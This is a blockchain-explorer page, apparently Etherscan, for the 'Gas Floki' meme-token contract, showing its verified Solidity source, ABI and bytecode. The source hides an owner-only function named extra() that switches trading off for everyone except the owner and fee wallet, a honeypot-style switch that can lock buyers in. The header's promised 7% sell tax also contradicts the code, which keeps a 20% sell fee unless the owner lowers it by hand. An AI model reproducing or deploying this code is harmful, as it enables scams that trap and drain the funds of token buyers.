ERC-20
Overview
Max Total Supply
1,000,000,000 ⛽ FLOKI
Holders
20
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
16,013,207.131204243 ⛽ FLOKIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SmartContract
Compiler Version
v0.8.15+commit.e14f2714
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-08-11 */ // SPDX-License-Identifier: none /********************* Token Name: Gas Floki Symbol: ⛽ Floki Supply: 1,000,000,000 Tax: 7% buy and 7% sell (20% initial sell tax for the 1st hour) Initial max buy: 20,000,000 (2% of supply) ----> lift to 40,000,000 (4% of supply) @ 10k mcap ----> lift to 50,000,000 (5% of supply) @ 15k mcap ----> remove limit @ 20k mcap telegram: https://t.me/gasflokierc20 ***********************/ pragma solidity ^0.8.8; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) {return msg.sender;} function _msgData() internal view virtual returns (bytes calldata) {this; return msg.data;} } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) {return _owner;} modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceownership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SmartContract is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcludedFromMaxWalletSize; string private constant _name = "Gas Floki"; string private constant _symbol = "\xE2\x9B\xBD FLOKI"; uint8 private constant _decimals = 9; uint256 public buyAutoLiquidityFee=200; uint256 public buyAutoBurnFee=0; uint256 public buyMarketingFee=500; uint256 public totalBuyFees = buyAutoLiquidityFee + buyAutoBurnFee + buyMarketingFee; uint256 public sellAutoLiquidityFee=0; uint256 public sellAutoBurnFee=0; uint256 public sellMarketingFee= 1800; uint256 public totalSellFees = sellAutoLiquidityFee + sellAutoBurnFee + sellMarketingFee; uint256 public tokensForAutoLiquidity; uint256 public tokensForAutoBurn; uint256 public tokensForMarketing; uint16 public masterTaxDivisor = 10000; address public constant DEAD = 0x000000000000000000000000000000000000dEaD; address public pairAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _tTotal = 1000000000 * 10**9; uint256 private maxWalletAmount = 20000001 * 10**9; uint256 private maxTxAmount = 20000001 * 10**9; address payable private feeAddrWallet; event MaxWalletAmountUpdated(uint maxWalletAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); pairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); feeAddrWallet = payable(0x5E899059cAD0bFf1165FE176ea8324b90750eA57); _tOwned[owner()] = _tTotal; uint256 _buyAutoLiquidityFee = 200; uint256 _buyAutoBurnFee = 0; uint256 _buyMarketingFee = 500; uint256 _sellAutoLiquidityFee = 0; uint256 _sellAutoBurnFee = 0; uint256 _sellMarketingFee = 2000; buyAutoLiquidityFee = _buyAutoLiquidityFee; buyAutoBurnFee = _buyAutoBurnFee; buyMarketingFee = _buyMarketingFee; totalBuyFees = buyAutoLiquidityFee + buyAutoBurnFee + buyMarketingFee; sellAutoLiquidityFee = _sellAutoLiquidityFee; sellAutoBurnFee = _sellAutoBurnFee; sellMarketingFee = _sellMarketingFee; totalSellFees = sellAutoLiquidityFee + sellAutoBurnFee + sellMarketingFee; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[feeAddrWallet] = true; _isExcludedFromMaxWalletSize[owner()] = true; _isExcludedFromMaxWalletSize[address(this)] = true; _isExcludedFromMaxWalletSize[feeAddrWallet] = true; swapEnabled = true; tradingOpen = true; maxTxAmount = 20000001 * 10**9; maxWalletAmount = 20000001 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); emit Transfer(address(0), owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function getTxAmount() public view returns(uint256) {return maxTxAmount;} function getMaxWallet() public view returns(uint256) {return maxWalletAmount;} function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from),"You are trying to transfer more than your balance"); require(tradingOpen || _isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading not enabled yet"); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { require(amount <= maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= maxWalletAmount, "Exceeds the maxWalletSize."); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromMaxWalletSize[to]) { require(amount + balanceOf(to) <= maxWalletAmount, "Recipient exceeds max wallet size."); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } _tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to])); } function extra() external onlyOwner() { /** require(!tradingOpen,"trading is already open"); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); */ swapEnabled = false; tradingOpen = false; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function RervertSellFeesToOriginalTax() external onlyOwner{ sellAutoLiquidityFee = 200; sellAutoBurnFee = 0; sellMarketingFee = 500; totalSellFees = sellAutoLiquidityFee + sellAutoBurnFee + sellMarketingFee; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { _tOwned[sender] -= amount; uint256 amountReceived = (takeFee) ? takeTaxes(sender, recipient, amount) : amount; _tOwned[recipient] += amountReceived; emit Transfer(sender, recipient, amountReceived); } function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) { if(from == uniswapV2Pair && totalBuyFees > 0 ) { tokensForAutoLiquidity = amount * buyAutoLiquidityFee / masterTaxDivisor; tokensForAutoBurn = amount * buyAutoBurnFee / masterTaxDivisor; tokensForMarketing = amount * buyMarketingFee / masterTaxDivisor; } else if (to == uniswapV2Pair && totalSellFees > 0 ) { tokensForAutoLiquidity = amount * sellAutoLiquidityFee / masterTaxDivisor; tokensForAutoBurn = amount * sellAutoBurnFee / masterTaxDivisor; tokensForMarketing = amount * sellMarketingFee / masterTaxDivisor; } _tOwned[pairAddress] += tokensForAutoLiquidity; emit Transfer(from, pairAddress, tokensForAutoLiquidity); _tOwned[DEAD] += tokensForAutoBurn; _tTotal = _tTotal - tokensForAutoBurn; _tTotal = totalSupply(); emit Transfer(from, DEAD, tokensForAutoBurn); _tOwned[address(this)] += tokensForMarketing; emit Transfer(from, address(this), tokensForMarketing); uint256 feeAmount = tokensForAutoLiquidity + tokensForAutoBurn + tokensForMarketing; return amount - feeAmount; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function excludeFromMaxWalletLimit(address account) public onlyOwner { _isExcludedFromMaxWalletSize[account] = true; } function includeInMaxWalletLimit(address account) public onlyOwner { _isExcludedFromMaxWalletSize[account] = false; } function SetWalletandTxtAmount(uint256 _maxTxAmount, uint256 _maxWalletSize) external onlyOwner{ maxTxAmount = _maxTxAmount * 10 **_decimals; maxWalletAmount = _maxWalletSize * 10 **_decimals; } function sendETHToFee(uint256 amount) private { feeAddrWallet.transfer(amount); } receive() external payable{ } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxWalletAmount","type":"uint256"}],"name":"MaxWalletAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RervertSellFeesToOriginalTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTxAmount","type":"uint256"},{"internalType":"uint256","name":"_maxWalletSize","type":"uint256"}],"name":"SetWalletandTxtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyAutoBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyAutoLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"extra","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"masterTaxDivisor","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellAutoBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellAutoLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tokensForAutoBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForAutoLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260c860055560006006556101f460075560075460065460055462000029919062000ba0565b62000035919062000ba0565b60085560006009556000600a55610708600b55600b54600a546009546200005d919062000ba0565b62000069919062000ba0565b600c55612710601060006101000a81548161ffff021916908361ffff1602179055506000601260156101000a81548160ff0219169083151502179055506000601260166101000a81548160ff021916908315150217905550670de0b6b3a764000060135566470de51b1cca0060145566470de51b1cca00601555348015620000f057600080fd5b50620001116200010562000a7260201b60201c565b62000a7a60201b60201c565b601260149054906101000a900460ff161562000164576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200015b9062000c5e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200020a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000230919062000cea565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000298573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002be919062000cea565b6040518363ffffffff1660e01b8152600401620002dd92919062000d2d565b6020604051808303816000875af1158015620002fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000323919062000cea565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003af573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003d5919062000cea565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200043d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000463919062000cea565b6040518363ffffffff1660e01b81526004016200048292919062000d2d565b602060405180830381865afa158015620004a0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004c6919062000cea565b601060026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550735e899059cad0bff1165fe176ea8324b90750ea57601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601354600160006200057262000b3e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600060c890506000806101f4905060008060006107d09050856005819055508460068190555083600781905550600754600654600554620005f2919062000ba0565b620005fe919062000ba0565b6008819055508260098190555081600a8190555080600b81905550600b54600a546009546200062e919062000ba0565b6200063a919062000ba0565b600c819055506001600360006200065662000b3e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460006200078f62000b3e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260166101000a81548160ff0219169083151502179055506001601260146101000a81548160ff02191690831515021790555066470de51b1cca0060158190555066470de51b1cca00601481905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401620009a592919062000d6b565b6020604051808303816000875af1158015620009c5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620009eb919062000dd5565b50620009fc62000b3e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60135460405162000a5d919062000e07565b60405180910390a35050505050505062000e24565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000bad8262000b67565b915062000bba8362000b67565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000bf25762000bf162000b71565b5b828201905092915050565b600082825260208201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600062000c4660178362000bfd565b915062000c538262000c0e565b602082019050919050565b6000602082019050818103600083015262000c798162000c37565b9050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000cb28262000c85565b9050919050565b62000cc48162000ca5565b811462000cd057600080fd5b50565b60008151905062000ce48162000cb9565b92915050565b60006020828403121562000d035762000d0262000c80565b5b600062000d138482850162000cd3565b91505092915050565b62000d278162000ca5565b82525050565b600060408201905062000d44600083018562000d1c565b62000d53602083018462000d1c565b9392505050565b62000d658162000b67565b82525050565b600060408201905062000d82600083018562000d1c565b62000d91602083018462000d5a565b9392505050565b60008115159050919050565b62000daf8162000d98565b811462000dbb57600080fd5b50565b60008151905062000dcf8162000da4565b92915050565b60006020828403121562000dee5762000ded62000c80565b5b600062000dfe8482850162000dbe565b91505092915050565b600060208201905062000e1e600083018462000d5a565b92915050565b6134578062000e346000396000f3fe6080604052600436106102085760003560e01c806384d6c8c611610118578063c2af913b116100a0578063dd62ed3e1161006f578063dd62ed3e14610724578063ea2f0b3714610761578063ebece9c91461078a578063f239eab8146107b3578063f2fde38b146107de5761020f565b8063c2af913b1461068c578063c99f2fed146106a3578063cc70acee146106ce578063d0a39814146106f95761020f565b80639740a946116100e75780639740a946146105a55780639f71146d146105d0578063a8b08982146105f9578063a9059cbb14610624578063b9e93700146106615761020f565b806384d6c8c6146104f95780638da5cb5b14610524578063921369131461054f57806395d89b411461057a5761020f565b806323b872dd1161019b578063437823ec1161016a578063437823ec1461041257806347afcbfe1461043b5780636cce46fc1461046657806370a08231146104915780637bce5a04146104ce5761020f565b806323b872dd1461036a578063313ce567146103a75780633722355c146103d25780633e0c23b8146103fb5761020f565b806318160ddd116101d757806318160ddd146102d2578063190024e0146102fd5780631d6167ac146103145780631f3fed8f1461033f5761020f565b806303fd2a451461021457806306fdde031461023f578063095ea7b31461026a5780630fa604e4146102a75761020f565b3661020f57005b600080fd5b34801561022057600080fd5b50610229610807565b6040516102369190612515565b60405180910390f35b34801561024b57600080fd5b5061025461080d565b60405161026191906125c9565b60405180910390f35b34801561027657600080fd5b50610291600480360381019061028c9190612652565b61084a565b60405161029e91906126ad565b60405180910390f35b3480156102b357600080fd5b506102bc610868565b6040516102c991906126d7565b60405180910390f35b3480156102de57600080fd5b506102e7610872565b6040516102f491906126d7565b60405180910390f35b34801561030957600080fd5b5061031261087c565b005b34801561032057600080fd5b50610329610930565b604051610336919061270f565b60405180910390f35b34801561034b57600080fd5b50610354610944565b60405161036191906126d7565b60405180910390f35b34801561037657600080fd5b50610391600480360381019061038c919061272a565b61094a565b60405161039e91906126ad565b60405180910390f35b3480156103b357600080fd5b506103bc610a4b565b6040516103c99190612799565b60405180910390f35b3480156103de57600080fd5b506103f960048036038101906103f491906127b4565b610a54565b005b34801561040757600080fd5b50610410610b2b565b005b34801561041e57600080fd5b50610439600480360381019061043491906127b4565b610be5565b005b34801561044757600080fd5b50610450610cbc565b60405161045d91906126d7565b60405180910390f35b34801561047257600080fd5b5061047b610cc2565b60405161048891906126d7565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b391906127b4565b610cc8565b6040516104c591906126d7565b60405180910390f35b3480156104da57600080fd5b506104e3610d11565b6040516104f091906126d7565b60405180910390f35b34801561050557600080fd5b5061050e610d17565b60405161051b91906126d7565b60405180910390f35b34801561053057600080fd5b50610539610d21565b6040516105469190612515565b60405180910390f35b34801561055b57600080fd5b50610564610d4a565b60405161057191906126d7565b60405180910390f35b34801561058657600080fd5b5061058f610d50565b60405161059c91906125c9565b60405180910390f35b3480156105b157600080fd5b506105ba610d8d565b6040516105c791906126d7565b60405180910390f35b3480156105dc57600080fd5b506105f760048036038101906105f291906127b4565b610d93565b005b34801561060557600080fd5b5061060e610e6a565b60405161061b9190612515565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190612652565b610e90565b60405161065891906126ad565b60405180910390f35b34801561066d57600080fd5b50610676610eae565b60405161068391906126d7565b60405180910390f35b34801561069857600080fd5b506106a1610eb4565b005b3480156106af57600080fd5b506106b8610f3c565b6040516106c591906126d7565b60405180910390f35b3480156106da57600080fd5b506106e3610f42565b6040516106f091906126d7565b60405180910390f35b34801561070557600080fd5b5061070e610f48565b60405161071b91906126d7565b60405180910390f35b34801561073057600080fd5b5061074b600480360381019061074691906127e1565b610f4e565b60405161075891906126d7565b60405180910390f35b34801561076d57600080fd5b50610788600480360381019061078391906127b4565b610fd5565b005b34801561079657600080fd5b506107b160048036038101906107ac9190612821565b6110ac565b005b3480156107bf57600080fd5b506107c861116a565b6040516107d591906126d7565b60405180910390f35b3480156107ea57600080fd5b50610805600480360381019061080091906127b4565b611170565b005b61dead81565b60606040518060400160405280600981526020017f47617320466c6f6b690000000000000000000000000000000000000000000000815250905090565b600061085e610857611267565b848461126f565b6001905092915050565b6000601454905090565b6000601354905090565b610884611267565b73ffffffffffffffffffffffffffffffffffffffff166108a2610d21565b73ffffffffffffffffffffffffffffffffffffffff16146108f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ef906128ad565b60405180910390fd5b6000601260166101000a81548160ff0219169083151502179055506000601260146101000a81548160ff021916908315150217905550565b601060009054906101000a900461ffff1681565b600f5481565b6000610957848484611438565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a2611267565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a199061293f565b60405180910390fd5b610a3f85610a2e611267565b8584610a3a919061298e565b61126f565b60019150509392505050565b60006009905090565b610a5c611267565b73ffffffffffffffffffffffffffffffffffffffff16610a7a610d21565b73ffffffffffffffffffffffffffffffffffffffff1614610ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac7906128ad565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610b33611267565b73ffffffffffffffffffffffffffffffffffffffff16610b51610d21565b73ffffffffffffffffffffffffffffffffffffffff1614610ba7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9e906128ad565b60405180910390fd5b60c86009819055506000600a819055506101f4600b81905550600b54600a54600954610bd391906129c2565b610bdd91906129c2565b600c81905550565b610bed611267565b73ffffffffffffffffffffffffffffffffffffffff16610c0b610d21565b73ffffffffffffffffffffffffffffffffffffffff1614610c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c58906128ad565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a5481565b60095481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050